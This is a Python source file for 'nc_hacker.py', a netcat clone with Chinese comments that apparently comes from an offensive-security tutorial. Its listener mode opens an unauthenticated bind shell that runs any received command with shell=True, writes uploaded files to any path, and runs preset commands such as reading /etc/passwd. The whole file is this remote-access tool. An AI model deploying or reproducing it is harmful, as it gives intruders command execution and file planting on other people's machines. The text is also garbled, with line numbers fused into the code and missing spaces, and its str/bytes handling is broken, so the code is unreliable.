1 #!/usr/bin/env python3
2 #coding=utf-8
3 importsys4 from socket import *
5 import getopt #用来处理命令行参数
6 importthreading7 import subprocess #启动一个shell,并控制输入输出
8
9 #-e和-p有问题,mac下运行没什么问题,win下有问题,运行的命令会出现问题。
10 listen =False11 command =False12 upload =False13 execute = ""
14 target = ""
15 upload_destination = ""
16 port =017
18 #帮助提示
19 defusage():20 print("netcat")21 print("Usage:nc_hacker.py -t target_host -p target_port")22 print("-l --listen - listen on [host]:[port] for incoming connections")23 print("-e --execute=ile_to_run - execute the given file upon receiving a connection")24 print("-c --command - initialize a command shell")25 print("-u --upload=destination - upon receiving connection upload a file and write to [destination]")26 print("Examples:")27 print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -c")28 print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe")29 print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\"")30 print("echo 'ABCDEFGHI' | ./nc_hacker.py -t 192.168.11.12 -p 135")31 sys.exit(0)32
33
34 #主函数
35 defmain():36 globallisten37 globalport38 globalexecute39 globalcommand40 globalupload_destination41 globaltarget42 #没有输入值就显示菜单
43 if not len(sys.argv[1:]):44 usage()45 try:46 #getopt模块处理命令行,
47 #h后面没有冒号:表示后面不带参数,p:和i:后面有冒号表示后面需要参数
48 #help后面没有等号=,表示后面不带参数,有=,表示后面需要参数
49 #返回值options是个包含元祖的列表,每个元祖是分析出来的格式信息,比如[('-i','127.0.0.1'),('-p','80')]
50 #args 是个列表,包含那些没有‘-’或‘--’的参数,比如:['55','66']
51 opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",52 ["help", "listen", "execute", "target", "port", "command", "upload"])53 exceptgetopt.GetoptError as err:54 print(str(err))55 usage()56 for o, a inopts:57 if o in ("-h", "--help"):58 usage()59 elif o in ("-l", "--listen"):60 listen =True61 elif o in ("-e", "--execute"):62 execute =a63 elif o in ("-c", "--command"):64 command =True65 elif o in ("-u", "--upload"):66 upload_destination =a67 elif o in ("-t", "--target"):68 target =a69 elif o in ("-p", "--port"):70 port =int(a)71 else:72 print("unhandled option")73 #从标准输入中发送数据
74 if not listen and len(target) and port >0:75 #读取输入的数据
76 #这里将阻塞,发送ctrl-d使用
77 buffer = input() #sys.stdin.read()
78 #发送数据
79 client_sender(buffer)80 #进行监听
81 iflisten:82 print('the server is listening on %s:%d' %(target, port))83 server_loop()84
85
86 #客户端代码
87 defclient_sender(buffer):88 client =socket(AF_INET, SOCK_STREAM)89 try:90 print("start connecting...")91 client.connect((target, port))92 print("connected")93 #如果我们检测到来自stdin的输入。
94 #如果不是,我们就等待用户输入。
95 iflen(buffer):96 client.send(buffer)97 whileTrue:98 #等待数据回传
99 recv_len = 1
100 response = ""
101 print("waiting response:")102 whilerecv_len:103 data = client.recv(4096)104 recv_len =len(data)105 response += data.decode("utf-8")106 if recv_len < 4096:107 break
108 print(response, end="")109 #等待更多输入
110 buffer = input("")111 buffer += "\n"
112 client.send(buffer.encode("utf-8"))113 except:114 print("[*] Exception! Exiting.")115 #断开连接
116 client.close()117
118
119 #服务端代码
120 defserver_loop():121 globaltarget, port122
123 #如果没有定义目标,就监听所有接口
124 if notlen(target):125 target = "0.0.0.0"
126 server =socket(AF_INET, SOCK_STREAM)127 server.bind((target, port))128 server.listen(5)129
130 whileTrue:131 client_socket, addr =server.accept()132 #print(client_socket)
133 #分出一个线程来处理新的客户端
134 client_thread = threading.Thread(target=client_handler, args=(client_socket,))135 client_thread.start()136
137
138 #-c命令
139 defrun_command(command):140 #返回从字符串末尾删除所有字符串的字符串(默认空白字符)的副本
141 command =command.rstrip()142 #运行命令并将输出返回
143 try:144 #subprocess.STDOUT是抛出异常。
145 output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)146 except:147 output = "Failed to execute command.\r\n"
148 #将输出发送
149 returnoutput150
151
152 #处理传入的客户端连接
153 defclient_handler(client_socket):154 globalupload, execute,155 #检测上传文件command
156 iflen(upload_destination):157 #读取所有的字节并写入
158 file_buffer = ""
159 #持续读取数据直到没有数据可用为止,有问题
160 whileTrue:161 data = client_socket.recv(1024)162 if notdata:163 break
164 else:165 file_buffer +=data166 #现在我们取这些字节并试着把它们写出来。
167 try:168 print('opening')169 #打开文件并写入
170 file_descriptor = open(upload_destination, "wb")171 file_descriptor.write(file_buffer)172 print('written')173 file_descriptor.close()174
175 #确认文件是否上传
176 client_socket.send("Successfully saved file to %s\r\n" %upload_destination)177 except:178 client_socket.send("Failed to save file to %s\r\n" %upload_destination)179 #检查命令执行
180 iflen(execute):181 #运行命令
182 output =run_command(execute)183 client_socket.send(output)184 #如果需要一个命令shell,那我们进入另一个循环,。
185 ifcommand:186 whileTrue:187 #跳出一个窗口
188 client_socket.send(b"")189 #现在我们接收文件直到发现换行符(enter key)
190 cmd_buffer = ""
191 while "\n" not incmd_buffer:192 cmd_buffer += client_socket.recv(1024).decode("utf-8")193 #返还命令输出
194 response =run_command(cmd_buffer)195 #返回相应数据
196 client_socket.send(response)197
198
199 if __name__ == "__main__":200 main()